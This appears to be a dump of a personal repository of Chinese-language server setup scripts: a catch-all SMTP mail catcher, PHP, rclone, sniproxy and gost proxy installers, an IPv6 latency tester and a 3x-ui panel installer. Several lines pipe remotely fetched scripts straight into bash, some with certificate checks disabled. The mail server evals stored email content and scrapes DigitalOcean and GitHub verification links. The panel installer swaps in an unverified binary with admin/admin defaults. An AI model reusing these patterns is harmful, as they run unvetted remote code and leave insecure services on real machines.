'onedrive_hide' => '', 119 | ); 120 | -------------------------------------------------------------------------------- /oneindex/token.php: -------------------------------------------------------------------------------- 1 | 'Bearer', 3 | 'scope' => 'Files.ReadWrite.All User.Read profile openid email', 4 | 'expires_in' => 3599, 5 | 'ext_expires_in' => 3599, 6 | 'access_token' => 'atk888', 7 | 'refresh_token' => 'rtk888', 8 | 'expires_on' => timeon, 9 | ); 10 | -------------------------------------------------------------------------------- /onemail/app.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | from flask import Flask 3 | from flask import make_response 4 | import redis 5 | import os 6 | import argparse 7 | app=Flask(__name__) 8 | 9 | pool = redis.ConnectionPool(host='localhost', port=6379, decode_responses=True) 10 | emailredis = redis.Redis(db=1) 11 | parser = argparse.ArgumentParser(description="One Mail Web Api") 12 | parser.add_argument('-p','--port', default='80') 13 | args = parser.parse_args() 14 | web_port = args.port 15 | 16 | @app.route('/') 17 | def api_mail(em): 18 | try: 19 | emdict=eval(emailredis.get(em).decode('utf-8')) 20 | emdict['bodyhtml']=emdict['bodyhtml'] 21 | emdict['body']=emdict['body'] 22 | if len(emdict['bodyhtml']) > 0 : 23 | code=emdict['bodyhtml'] 24 | else: 25 | code=emdict['body'] 26 | return allow_ajax('\n'.join(code)) 27 | except Exception as e: 28 | return allow_ajax('None') 29 | 30 | def allow_ajax(res): 31 | response=make_response(res) 32 | response.headers['Access-Control-Allow-Origin'] = '*' 33 | response.headers['Access-Control-Allow-Methods'] = 'POST' 34 | response.headers['Access-Control-Allow-Headers'] = 'x-requested-with,content-type' 35 | return response 36 | 37 | if __name__ == '__main__': 38 | os.system('python3 ./smtp.py &') 39 | app.run(host='0.0.0.0',port=web_port,use_debugger=False,threaded=True) 40 | -------------------------------------------------------------------------------- /onemail/smtp.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | import asyncore 3 | from smtpd import SMTPServer,SMTPChannel 4 | import email 5 | from email.header import decode_header 6 | import chardet 7 | import redis 8 | import re 9 | import os 10 | 11 | class EmlParse(): 12 | def __init__(self,emlstring): 13 | self.data=emlstring 14 | self.msg = email.message_from_string(self.data) 15 | self.red = redis.Redis(db=1) 16 | self.parse() 17 | 18 | def parse(self): 19 | self.efrom = email.utils.parseaddr(self.msg.get("from"))[1] 20 | self.etos = self.msg.get("to").split(',') 21 | self.eto = [ email.utils.parseaddr(i)[1] for i in self.etos ] 22 | ## self.eto = email.utils.parseaddr(self.msg.get("to"))[1] 23 | print(str(self.eto)) 24 | subjects=decode_header(self.msg.get('subject')) 25 | #print(subjects) 26 | dsubject='' 27 | for subject in subjects: 28 | cdt='utf-8' if subject[1] is None else subject[1] 29 | try: 30 | dsubject+=subject[0].decode(cdt) 31 | except AttributeError: 32 | dsubject+=subject[0] 33 | #print(dsubject) 34 | self.subject = dsubject 35 | self.body=[] 36 | self.bodyhtml=[] 37 | self.dict={} 38 | 39 | for par in self.msg.walk(): 40 | try: 41 | parpld=par.get_payload(decode=True) 42 | #print(parpld) 43 | parcdt=chardet.detect(parpld) if parpld is not None else None 44 | if parpld is None or parcdt is None: 45 | # # print('-'*20) 46 | continue 47 | parcdt=parcdt['encoding'] if parcdt['confidence']>0.6 else 'utf-8' 48 | # print(parcdt) 49 | # print(parpld.decode(parcdt)) 50 | try: 51 | parpld=parpld.decode(parcdt) 52 | except AttributeError: 53 | parpld=parpld 54 | if '\\u' in parpld: 55 | parpld=parpld.encode('utf-8').decode('unicode_escape') 56 | if '' in parpld:# or '
' in parpld: 57 | self.bodyhtml.append(parpld) 58 | else: 59 | self.body.append(parpld) 60 | except Exception as e: 61 | print(e) 62 | 63 | def show(self): 64 | print("from: ", self.efrom) 65 | print("to: ", self.eto) 66 | print("subject: ",self.subject) 67 | print("body: ",str(self.body)) 68 | print("html_body: ",str(self.bodyhtml)) 69 | 70 | def inred(self): 71 | self.focus() 72 | # self.red.setex(self.eto,(self.subject,str(self.body),str(self.bodyhtml)),60) 73 | for ieto in self.eto: 74 | self.red.setex(ieto,120,str(self.dict)) 75 | 76 | if len(self.bodyhtml) > 0 : 77 | code=self.bodyhtml 78 | else: 79 | code=self.body 80 | with open('/var/www/html/{}.html'.format(ieto),'wt', encoding='utf-8') as f: 81 | f.write('\n'.join(code)) 82 | 83 | def focus(self): 84 | self.dict['from']=self.efrom 85 | self.dict['to']=self.eto 86 | self.dict['subject']=self.subject 87 | self.dict['body']=self.body 88 | self.dict['bodyhtml']=self.bodyhtml 89 | focus=None 90 | 91 | repage='' 92 | for i in self.body: 93 | if type(i) is str or type(i) is bytes: 94 | repage+=i 95 | print('repage....',repage) 96 | #repage=repage.strip() 97 | 98 | if 'support@support.digitalocean.com' in self.efrom and 'Confirm' in self.subject: 99 | focus=re.findall('(https://.*verification.*)',repage)[0] 100 | 101 | if 'noreply@github.com' in self.efrom and 'verify your email address' in self.subject: 102 | focus=re.findall('(https://.*verification.*)',repage)[0] 103 | 104 | if focus is not None: 105 | print("from: ", self.efrom) 106 | print("to: ", self.eto) 107 | print("focus: ",focus) 108 | self.dict['focus']=focus 109 | 110 | class mySMTPChannel(SMTPChannel): 111 | def collect_incoming_data(self, data): 112 | limit = None 113 | if self.smtp_state == self.COMMAND: 114 | limit = self.max_command_size_limit 115 | elif self.smtp_state == self.DATA: 116 | limit = self.data_size_limit 117 | if limit and self.num_bytes > limit: 118 | return 119 | elif limit: 120 | self.num_bytes += len(data) 121 | if self._decode_data: 122 | #print(data,'.........................................') 123 | parcdt=chardet.detect(data) if data is not None else {'encoding':'utf-8','confidence':1} 124 | parcdt=parcdt['encoding'] if parcdt['confidence']>0.6 else 'utf-8' 125 | self.received_lines.append(str(data, parcdt)) 126 | else: 127 | self.received_lines.append(data) 128 | 129 | class EmlServer(SMTPServer): 130 | no = 0 131 | channel_class = mySMTPChannel 132 | def process_message(self, peer, mailfrom, rcpttos, data, mail_options=None, rcpt_options=None): 133 | filename = '%s-%d.eml' % (datetime.now().strftime('%Y%m%d%H%M%S'), 134 | self.no) 135 | print(filename) 136 | f = open(filename, 'w') 137 | #print(data) 138 | f.write(data) 139 | f.close() 140 | print('%s saved.' % filename) 141 | self.no += 1 142 | 143 | eml=EmlParse(data) 144 | eml.show() 145 | eml.inred() 146 | def __repr__(self): # pragma: no cover 147 | return '' % (self.addr[0], self.addr[1]) 148 | 149 | def run(): 150 | foo = EmlServer(('0.0.0.0', 25), None,decode_data=True) 151 | try: 152 | asyncore.loop() 153 | except KeyboardInterrupt: 154 | pass 155 | 156 | 157 | if __name__ == '__main__': 158 | os.system('mkdir -p /var/www/html') 159 | run() 160 | -------------------------------------------------------------------------------- /php/README.md: -------------------------------------------------------------------------------- 1 | 一些编译好的PHP 2 | -------------------------------------------------------------------------------- /php/php7.4/install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | groupadd -r www 4 | useradd -r -g www -s /bin/false -d /usr/local/www -M www 5 | apt update -y && apt install libonig-dev libsqlite3-dev make zip lrzsz psmisc autoconf curl libxml2 libxml2-dev libssl-dev bzip2 libbz2-dev libjpeg-dev libpng-dev libfreetype6-dev libgmp-dev libmcrypt-dev libreadline6-dev libsnmp-dev libxslt1-dev libcurl4-openssl-dev pkg-config libssl-dev libzip-dev dnsutils -y 6 | mkdir /usr/local/php && cd /usr/local/php 7 | wget https://od.5tb.nl//Linux/source/php.zip && unzip php.zip 8 | #设置环境变量 9 | echo " 10 | export PHP_HOME=/usr/local/php 11 | export PATH=\$PHP_HOME/bin:\$PATH 12 | " >> /etc/profile 13 | source /etc/profile 14 | 15 | #设置配置文件 16 | wget -O /usr/local/bin/php-fpm https://od.5tb.nl//Linux/source/init.d.php-fpm 17 | wget -c https://getcomposer.org/composer.phar -O /usr/local/bin/composer 18 | chmod +x /usr/local/bin/php-fpm 19 | chmod +x /usr/local/bin/composer 20 | /usr/local/bin/php-fpm start 21 | -------------------------------------------------------------------------------- /python/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | echo "deb http://cdn-aws.deb.debian.org/debian testing main" >> /etc/apt/sources.list 4 | 5 | apt update -y 6 | 7 | apt install python3-distutils python3.8 -y 8 | 9 | wget https://bootstrap.pypa.io/get-pip.py 10 | 11 | python3 get-pip.py 12 | 13 | pip3 -V 14 | 15 | ####################Install-TG_DownLoad_Bot#################### 16 | 17 | dnf install https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm -y 18 | 19 | dnf upgrade 20 | 21 | wget -O /usr/local/bin/aria2c https://ppxbot2.ppxproject.workers.dev/0:/%E8%BD%AF%E4%BB%B6/Linux/s390x/aria2c 22 | 23 | git clone https://github.com/lzzy12/python-aria-mirror-bot.git && cd python-aria-mirror-bot 24 | 25 | pip3 install -r requirements-cli.txt 26 | 27 | pip3 install -r requirements.txt 28 | 29 | python3 generate_drive_token.py 30 | 31 | ###################S390X-ARIA2C################# 32 | 33 | dnf install libxml2-devel libxslt-devel gcc gcc-c++ python3-devel python3 python3-pip texinfo automake transfig openssl-devel gettext-devel nettle-devel cppunit make cmake psmisc 34 | 35 | git clone https://github.com/aria2/aria2.git && cd aria2 && autoreconf -i && ./configure --without-gnutls --with-openssl 36 | 37 | make && make install 38 | 39 | -------------------------------------------------------------------------------- /rclone/README.md: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #install zip unzip first 4 | #apt install fuse zip unzip screen -y 5 | #安装 6 | curl https://rclone.org/install.sh | sudo bash 7 | 8 | #挂载 9 | rclone mount DriveName:Folder LocalFolder --copy-links --no-gzip-encoding --no-check-certificate --allow-other --allow-non-empty --umask 000 --vfs-cache-mode writes 10 | 11 | rclone mount kanpian: /kanpian --umask 0000 --default-permissions --allow-other --transfers 10 --buffer-size 32M --low-level-retries 200 --dir-cache-time 12h --vfs-read-chunk-size 32M --vfs-read-chunk-size-limit 1G --copy-links --no-gzip-encoding --no-check-certificate --vfs-cache-mode writes 12 | 13 | #取消挂载 14 | fusermount -qzu LocalFolder 15 | 16 | 17 | #其他参数 18 | 19 | #该参数主要是上传用的 20 | rclone mount DriveName:Folder LocalFolder \ 21 | --umask 0000 \ 22 | --default-permissions \ 23 | --allow-non-empty \ 24 | --allow-other \ 25 | --transfers 4 \ 26 | --buffer-size 32M \ 27 | --low-level-retries 200 28 | 29 | #如果你还涉及到读取使用,比如使用H5ai等在线播放,就还建议加3个参数,添加格式参考上面 30 | --dir-cache-time 12h 31 | --vfs-read-chunk-size 32M 32 | --vfs-read-chunk-size-limit 1G 33 | -------------------------------------------------------------------------------- /sniproxy/README.md: -------------------------------------------------------------------------------- 1 | 2 | #2020-9-15新版 3 | 4 | GO版 make_install 用于自定义编译 5 | 6 | 已经编译好的 支持linux amd64: 7 | 8 | Ver1 仅支持https 可自定义错误返回地址:
9 | wget -O /usr/local/bin/sniproxy https://raw.githubusercontent.com/caippx/bash/master/sniproxy/sniproxy
10 | chmod +x /usr/local/bin/sniproxy
11 | wget -O /usr/local/config.yaml https://raw.githubusercontent.com/caippx/bash/master/sniproxy/config.yaml
12 | nohup sniproxy -c /usr/local/config.yaml >> /tmp/sni.log 2>&1 &
13 | 14 | 15 | Ver2 支持http和https[推荐]:
16 | wget -O /usr/local/bin/sniproxy https://raw.githubusercontent.com/caippx/bash/master/sniproxy/sniproxy_s
17 | chmod +x /usr/local/bin/sniproxy
18 | nohup sniproxy >> /tmp/sni.log 2>&1 &
19 | 20 | bash <(wget --no-check-certificate -qO- 'https://raw.githubusercontent.com/caippx/bash/master/sniproxy/instsall.sh') 21 | 22 | 23 | user daemon 24 | pidfile /var/run/sniproxy.pid 25 | 26 | listen 443 { 27 | proto tls 28 | table https_hosts 29 | access_log { 30 | filename /var/log/sniproxy/https_access.log 31 | priority notice 32 | } 33 | } 34 | table https_hosts { 35 | .* *:443 36 | } 37 | 38 | 39 | 启动:service sniproxy start(如果运行无反应并没有启动,那么请直接使用 sniproxy 来启动试试) 40 | 41 | 停止:service sniproxy stop 42 | 43 | 重启:service sniproxy restart 44 | 45 | 查看状态:service sniproxy status 46 | 47 | 配置文件:/etc/sniproxy.conf 48 | 49 | -------------------------------------------------------------------------------- /sniproxy/config.yaml: -------------------------------------------------------------------------------- 1 | #timeout: 10 2 | # 3 | 4 | # default destination 5 | # when no SNI name found 6 | # or parse TLS HELLO message failed 7 | default: 127.0.0.1:8443 8 | 9 | listen: 10 | - 443 11 | 12 | forward_rules: 13 | "cdnjs.cloudflare.com": "cdnjs.cloudflare.com:443" 14 | "static-mon.yandex.net": "static-mon.yandex.net:443" 15 | "yastatic.net": "yastatic.net:443" 16 | "assetscdn.jable.tv": "assetscdn.jable.tv:443" 17 | "cdn1.theporndude.com": "cdn1.theporndude.com:443" 18 | -------------------------------------------------------------------------------- /sniproxy/install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | apt update -y 3 | apt install autotools-dev cdbs debhelper dh-autoreconf dpkg-dev gettext libev-dev libpcre3-dev libudns-dev pkg-config fakeroot devscripts build-essential unzip -y 4 | mkdir sniproxy && cd sniproxy 5 | wget -N --no-check-certificate https://github.com/dlundquist/sniproxy/archive/master.zip 6 | unzip master.zip && cd sniproxy-master 7 | ./autogen.sh && dpkg-buildpackage 8 | sniproxy_deb=$(ls ..|grep "sniproxy_.*.deb") && echo ${sniproxy_deb} 9 | [[ ! -z ${sniproxy_deb} ]] && dpkg -i ../${sniproxy_deb} 10 | 11 | echo "user daemon 12 | pidfile /var/run/sniproxy.pid 13 | 14 | listen 443 { 15 | proto tls 16 | table https_hosts 17 | access_log { 18 | filename /var/log/sniproxy/https_access.log 19 | priority notice 20 | } 21 | } 22 | table https_hosts { 23 | .* *:443 24 | } 25 | " > /etc/sniproxy.conf 26 | -------------------------------------------------------------------------------- /sniproxy/make_install_go.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | apt install curl git -y 4 | curl -SL https://gitee.com/skiy/golang-install/raw/master/install.sh | bash /dev/stdin -v 1.13.6 5 | source /root/.bashrc 6 | git clone https://github.com/caippx/sniproxy.git 7 | cd sniproxy && go build 8 | mv sniproxy /usr/local/bin/ 9 | chmod +x /usr/local/bin/sniproxy 10 | nohup sniproxy >> /tmp/sniproxy.log 2>&1 & 11 | -------------------------------------------------------------------------------- /sniproxy/make_install_go_s.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | apt install curl git -y 4 | curl -SL https://gitee.com/skiy/golang-install/raw/master/install.sh | bash /dev/stdin -v 1.13.6 5 | source /root/.bashrc 6 | git clone https://github.com/caippx/SimpleSNIProxy.git 7 | cd SimpleSNIProxy && go mod init github.com/caippx/SimpleSNIProxy && go build 8 | mv SimpleSNIProxy /usr/local/bin/sniproxy 9 | chmod +x /usr/local/bin/sniproxy 10 | nohup sniproxy >> /tmp/sniproxy.log 2>&1 & 11 | -------------------------------------------------------------------------------- /sniproxy/sniproxy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/sniproxy/sniproxy -------------------------------------------------------------------------------- /sniproxy/sniproxy_s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/sniproxy/sniproxy_s -------------------------------------------------------------------------------- /sniproxy/v1_add_host.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | host=$1 3 | echo ' "'$host'": "'$host':443"' >> /usr/local/config.yaml 4 | killall -9 sniproxy 5 | sniproxy -c /usr/local/config.yaml 6 | -------------------------------------------------------------------------------- /suansuanru/IPv6_Check_Ver2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ping_ipv6() { 4 | local src_ip=$1 5 | local target_ipv6=$2 6 | local temp_file=$3 7 | local ping_output=$(ping6 -I $src_ip -i 0.3 -c 30 $target_ipv6 2>&1) 8 | ip addr del $src_ip/64 dev $interface_name 9 | local loss=$(echo "$ping_output" | grep 'packets transmitted' | awk '{print $6}') 10 | if [ "$loss" == "100%" ]; then 11 | return 12 | fi 13 | local min=$(echo "$ping_output" | grep 'rtt min/avg/max/mdev' | cut -d'=' -f2 | awk -F'/' '{print $2}') 14 | echo "$src_ip $min" >> "$temp_file" 15 | } 16 | 17 | cleanup() { 18 | for src_ip in "${ip_array[@]}"; do 19 | sudo ip addr del "$src_ip"/64 dev $interface_name 2>/dev/null 20 | done 21 | [ -f "$temp_file" ] && rm "$temp_file" 22 | [ -f "$temp_progress_file" ] && rm "$temp_progress_file" 23 | } 24 | 25 | print_progress_bar() { 26 | local -i current=$1 27 | local -i total=$2 28 | local filled=$((current*60/total)) 29 | local bars=$(printf "%-${filled}s" "|" | tr ' ' '|') 30 | local spaces=$(printf "%-$((60-filled))s" " ") 31 | local percent=$((current*100/total)) 32 | echo -ne "[${bars}${spaces}] ${percent}% ($current/$total)\r" 33 | } 34 | start_time=$(date +%s) 35 | trap cleanup EXIT 36 | interface_name=$(ip -6 route | grep default | grep -Po '(?<=dev )(\S+)' | head -1) 37 | current_ipv6=$(ip -6 addr show $interface_name | grep 'inet6' | grep -v 'fe80' | awk '{print $2}' | cut -d'/' -f1 | head -n 1) 38 | current_prefix=$(echo $current_ipv6 | cut -d':' -f1-4) 39 | echo "" 40 | echo "网卡当前配置的IPv6: $current_ipv6" 41 | echo "分配该虚拟机的IPv6: $current_prefix::/64" 42 | echo "" 43 | stty erase '^H' && read -p "请输入你要检测的对端IPv6: " target_ipv6 44 | if ! [[ "$target_ipv6" =~ ^([0-9a-fA-F:]+)$ && "${#target_ipv6}" -ge 15 && "${#target_ipv6}" -le 39 ]]; then 45 | echo "你输入的这个地址看着不太对哇!" 46 | exit 1 47 | fi 48 | stty erase '^H' && read -p "请输入你要测试多少个IPv6(建议512M机型小于500个): " ipv6_num 49 | if ! [[ "$ipv6_num" =~ ^[0-9]+$ ]]; then 50 | echo "写的啥玩意?认真点!" 51 | exit 1 52 | fi 53 | if [ "$ipv6_num" == 0 ]; then 54 | echo "你看看你输的数量对吗?" 55 | exit 1 56 | fi 57 | if echo "$ipv6_num 18446744073709551615" | awk '{exit !($1>$2)}'; then 58 | echo "$ipv6_num个?你的小鸡要冒烟咯!" 59 | exit 1 60 | fi 61 | declare -a ip_array 62 | echo "" 63 | echo "在 $current_prefix::/64 中生成$ipv6_num个IPv6进行检测 请等待任务完成" 64 | 65 | declare -a ipv6_array=() 66 | declare -A used_ip_addrs 67 | used_ip_addrs[$current_ipv6]=1 68 | current_count=0 69 | for (( i=0; i<$ipv6_num; i++ )); do 70 | while : ; do 71 | random_part=$(printf '%x:%x:%x:%x' $((RANDOM%65536)) $((RANDOM%65536)) $((RANDOM%65536)) $((RANDOM%65536))) 72 | test_ipv6="$current_prefix:$random_part" 73 | if [ -z ${used_ip_addrs[$test_ipv6]} ]; then 74 | sudo ip addr add "$test_ipv6"/64 dev $interface_name 2>/dev/null 75 | used_ip_addrs[$test_ipv6]=1 76 | ip_array+=($test_ipv6) 77 | ((current_count++)) 78 | print_progress_bar $current_count $ipv6_num 79 | break 80 | else 81 | echo "IPv6地址 $test_ipv6 已存在,正在重新生成..." 82 | fi 83 | done 84 | done 85 | 86 | 87 | sleep 5s 88 | temp_file=$(mktemp) 89 | declare -A ipv6_rtt_results 90 | 91 | # 动态并发 92 | total_jobs=${#ip_array[@]} 93 | quarter_jobs=$((total_jobs / 4)) 94 | if [ "$quarter_jobs" -gt 200 ]; then 95 | parallel_jobs=200 96 | else 97 | parallel_jobs=$quarter_jobs 98 | fi 99 | completed_jobs=0 100 | temp_progress_file=$(mktemp) 101 | echo 102 | echo "对$total_jobs个IPv6进行Ping测试中 请等待任务完成" 103 | print_progress_bar $completed_jobs $total_jobs 104 | { 105 | for src_ip in "${ip_array[@]}"; do 106 | ( 107 | ping_ipv6 "$src_ip" "$target_ipv6" "$temp_file" 108 | sudo ip addr del "$src_ip"/64 dev $interface_name 2>/dev/null 109 | echo >> "$temp_progress_file" 110 | ) & 111 | if (( $(jobs | wc -l) >= parallel_jobs )); then 112 | wait -n 113 | completed_jobs=$(wc -l < "$temp_progress_file") 114 | percent=$((completed_jobs * 100 / total_jobs)) 115 | print_progress_bar $completed_jobs $total_jobs 116 | fi 117 | done 118 | wait 119 | } 120 | while [ "$(wc -l < "$temp_progress_file")" -lt "$total_jobs" ]; do 121 | sleep 1 122 | completed_jobs=$(wc -l < "$temp_progress_file") 123 | print_progress_bar $completed_jobs $total_jobs 124 | done 125 | completed_jobs=$(wc -l < "$temp_progress_file") 126 | print_progress_bar $completed_jobs $total_jobs 127 | wait 128 | echo "" 129 | echo "=====================================================" 130 | echo "IPv6 Average" 131 | sort -k2 -n "$temp_file" | head -n 10 | while read -r line; do 132 | ipv6=$(echo "$line" | awk '{print $1}') 133 | rtt=$(echo "$line" | awk '{print $2}') 134 | printf "%-40s %s ms\n" "$ipv6" "$rtt" 135 | done 136 | echo "=====================================================" 137 | end_time=$(date +%s) 138 | elapsed_time=$((end_time - start_time)) 139 | echo "脚本总耗时: $elapsed_time 秒。" 140 | echo "Power by PoloCloud@Wang_Boluo Mod by @KorenKrita" #给个面子别删吧哥 141 | -------------------------------------------------------------------------------- /suansuanru/README.md: -------------------------------------------------------------------------------- 1 | 适用于debian9+ 2 | 3 | 一键搭建ssr+tls+web伪装 ssr443端口 https8443端口 4 | 5 | 建议使用rdns作为伪装域名 6 | 7 | bash <(wget --no-check-certificate -qO- 'https://raw.githubusercontent.com/caippx/bash/master/suansuanru/ssrtls.sh') 8 | 9 | 10 | 适用于debian9+ Ubuntu16+ centos7+ 11 | 12 | 13 | 一键V2ray+Caddy http 适用于CDN caddy端口80 v2ray端口 8848 14 | 15 | 16 | bash <(wget --no-check-certificate -qO- 'https://raw.githubusercontent.com/caippx/bash/master/suansuanru/v2ray-ws-http.sh') 17 | 18 | #GOST
19 | echo "65.52.162.210 raw.githubusercontent.com" >> /etc/hosts
20 | echo "65.52.162.210 github-releases.githubusercontent.com" >> /etc/hosts
21 | echo "65.52.162.210 github.com" >> /etc/hosts
22 | wget https://github.com/ginuerzh/gost/releases/download/v2.11.1/gost-linux-amd64-2.11.1.gz && gunzip gost-linux-amd64-2.11.1.gz
23 | mv gost-linux-amd64-2.11.1 /usr/bin/gost && chmod +x /usr/bin/gost
24 | gost -L=rtcp://:8848/remote_ip:8080
25 | nohup gost -L socks5://:55888 >>/dev/null 2>&1 &
26 | nohup gost -L http://:55888 >>/dev/null 2>&1 &
27 | nohup gost -L=tcp://:80/1.0.0.1:80 >>/dev/null 2>&1 &
28 | nohup gost -L=tcp://:443/1.0.0.1:443 >>/dev/null 2>&1 &
29 | nohup gost -L=udp://:443/1.0.0.1:443 >>/dev/null 2>&1 &
30 | 31 | iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
32 | iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
33 | iptables -I INPUT -p udp -m state --state NEW -m udp --dport 443 -j ACCEPT
34 | 35 | Nat
36 | wget -O /usr/bin/nat https://raw.githubusercontent.com/caippx/bash/master/suansuanru/gost_nat.sh && chmod +x /usr/bin/nat
37 | -------------------------------------------------------------------------------- /suansuanru/apline/README.md: -------------------------------------------------------------------------------- 1 | bash <(wget --no-check-certificate -qO- 'https://raw.githubusercontent.com/caippx/bash/refs/heads/master/suansuanru/apline/install.sh') 2 | -------------------------------------------------------------------------------- /suansuanru/apline/buildx-ui.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | apk add git e2fsprogs e2fsprogs-extra 4 | apk add build-base 5 | apk add libc-dev 6 | wget https://go.dev/dl/go1.23.3.linux-amd64.tar.gz && tar -C /usr/local -xzf go1.23.3.linux-amd64.tar.gz 7 | export PATH=$PATH:/usr/local/go/bin 8 | go version 9 | 10 | git clone https://github.com/MHSanaei/3x-ui && cd 3x-ui 11 | go build 12 | -------------------------------------------------------------------------------- /suansuanru/apline/install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | red='\033[0;31m' 4 | green='\033[0;32m' 5 | yellow='\033[0;33m' 6 | plain='\033[0m' 7 | 8 | # check root 9 | [[ $EUID -ne 0 ]] && echo -e "${red}Fatal error: ${plain} Please run this script with root privilege \n " && exit 1 10 | 11 | # Check OS and set release variable 12 | if [[ -f /etc/os-release ]]; then 13 | source /etc/os-release 14 | release=$ID 15 | elif [[ -f /usr/lib/os-release ]]; then 16 | source /usr/lib/os-release 17 | release=$ID 18 | else 19 | echo "Failed to check the system OS, please contact the author!" >&2 20 | exit 1 21 | fi 22 | echo "The OS release is: $release" 23 | 24 | arch() { 25 | case "$(uname -m)" in 26 | x86_64 | x64 | amd64) echo 'amd64' ;; 27 | i*86 | x86) echo '386' ;; 28 | armv8* | armv8 | arm64 | aarch64) echo 'arm64' ;; 29 | armv7* | armv7 | arm) echo 'armv7' ;; 30 | armv6* | armv6) echo 'armv6' ;; 31 | armv5* | armv5) echo 'armv5' ;; 32 | s390x) echo 's390x' ;; 33 | *) echo -e "${green}Unsupported CPU architecture! ${plain}" && rm -f install.sh && exit 1 ;; 34 | esac 35 | } 36 | 37 | echo "arch: $(arch)" 38 | 39 | os_version="" 40 | os_version=$(grep "^VERSION_ID" /etc/os-release | cut -d '=' -f2 | tr -d '"' | tr -d '.') 41 | 42 | if [[ "${release}" == "alpine" ]]; then 43 | echo "Your OS is Alpine Linux" 44 | else 45 | echo -e "${red}Your operating system is not supported by this script.${plain}\n" 46 | exit 1 47 | fi 48 | ARCH=$(uname -m) 49 | case "${ARCH}" in 50 | x86_64 | x64 | amd64) XUI_ARCH="amd64" ;; 51 | i*86 | x86) XUI_ARCH="386" ;; 52 | armv8* | armv8 | arm64 | aarch64) XUI_ARCH="arm64" ;; 53 | armv7* | armv7) XUI_ARCH="armv7" ;; 54 | armv6* | armv6) XUI_ARCH="armv6" ;; 55 | armv5* | armv5) XUI_ARCH="armv5" ;; 56 | *) XUI_ARCH="amd64" ;; 57 | esac 58 | apk update 59 | apk add bash wget curl zip unzip vim openrc tar tzdata --no-cache 60 | cd /root/ 61 | rm -rf x-ui/ /usr/local/x-ui/ /usr/bin/x-ui 62 | wget https://github.com/MHSanaei/3x-ui/releases/latest/download/x-ui-linux-${XUI_ARCH}.tar.gz 63 | tar zxvf x-ui-linux-${XUI_ARCH}.tar.gz 64 | chmod +x x-ui/x-ui x-ui/bin/xray-linux-* x-ui/x-ui.sh 65 | rm -fr /etc/init.d/3x-ui 66 | mv x-ui/ /usr/local/ 67 | rm -rf /usr/local/x-ui/x-ui 68 | wget https://github.com/caippx/bash/releases/download/2.4.8/x-ui.zip 69 | unzip x-ui.zip && rm -rf x-ui.zip && mv x-ui /usr/local/x-ui/x-ui &&chmod +x /usr/local/x-ui/x-ui 70 | 71 | 72 | read -p "Please set up the panel port: " config_port 73 | read -p "Please set up the panel username: " config_username 74 | read -p "Please set up the panel password: " config_password 75 | read -p "Please set up the panel webBasePath: " config_webBasePath 76 | config_port=${config_port:-8848} 77 | config_username=${config_username:-admin} 78 | config_password=${config_password:-admin} 79 | config_webBasePath=${config_webBasePath:-ppxwo} 80 | /usr/local/x-ui/x-ui setting -username "${config_username}" -password "${config_password}" -port "${config_port}" -webBasePath "${config_webBasePath}" 81 | /usr/local/x-ui/x-ui migrate 82 | 83 | echo '#!/sbin/openrc-run 84 | 85 | name="3x-ui" 86 | directory="/usr/local/x-ui" 87 | command="/usr/local/x-ui/x-ui" 88 | command_background="yes" 89 | pidfile="/var/run/3x-uin.pid" 90 | depend() { 91 | need net 92 | }' > /etc/init.d/3x-ui 93 | chmod +x /etc/init.d/3x-ui 94 | rc-service 3x-ui start 95 | rc-update add 3x-ui 96 | -------------------------------------------------------------------------------- /suansuanru/changesomething.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #配置v2ray 各种 4 | 5 | config="/usr/local/etc/v2ray/config.json" 6 | o_uuid="$(cat $config | grep 'id' | awk -F '"' '{print $4}')" 7 | o_port="$(cat $config | grep '"port"' | awk -F ' ' '{print $2}' | awk -F ',' '{print $1}')" 8 | uuid=`uuid` 9 | echo && stty erase '^H' && read -p "输入端口号[1-65535]" port 10 | sed -i "s/$o_uuid/$uuid/" $config 11 | sed -i "s/$o_port/$port/" $config 12 | -------------------------------------------------------------------------------- /suansuanru/gost_nat.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | function install_gost(){ 4 | 5 | if command -v curl >/dev/null 2>&1 && command -v wget >/dev/null 2>&1; then 6 | echo "curl 和 wget 均已安装" 7 | else 8 | apt update -y && apt install curl wget -y 9 | fi 10 | 11 | if curl --connect-timeout 5 -s https://github.com > /dev/null 2>&1; then 12 | echo "能够访问 github.com" 13 | # 如果访问正常,这里使用原始地址 14 | GITHUB_URL="https://github.com" 15 | else 16 | echo "无法访问 github.com,使用代理" 17 | # 如果访问失败,则替换为代理地址 18 | GITHUB_URL="https://ghproxy.11451185.xyz/github.com" 19 | fi 20 | 21 | # 我自己只用64位系统 就不判断是不是32了 22 | arch=$(uname -m) 23 | # 判断是否为 ARM 架构 24 | if [[ "$arch" == "arm"* || "$arch" == "aarch64" ]]; then 25 | echo "系统为aarch64" 26 | wget ${GITHUB_URL}/go-gost/gost/releases/download/v3.0.0/gost_3.0.0_linux_arm64.tar.gz && tar -zxvf gost_3.0.0_linux_arm64.tar.gz 27 | rm -rf LICENSE README.md README_en.md gost_3.0.0_linux_arm64.tar.gz 28 | mv gost /usr/bin/gost && chmod +x /usr/bin/gost 29 | else 30 | echo "系统为X86_64" 31 | wget ${GITHUB_URL}/go-gost/gost/releases/download/v3.0.0/gost_3.0.0_linux_amd64.tar.gz && tar -zxvf 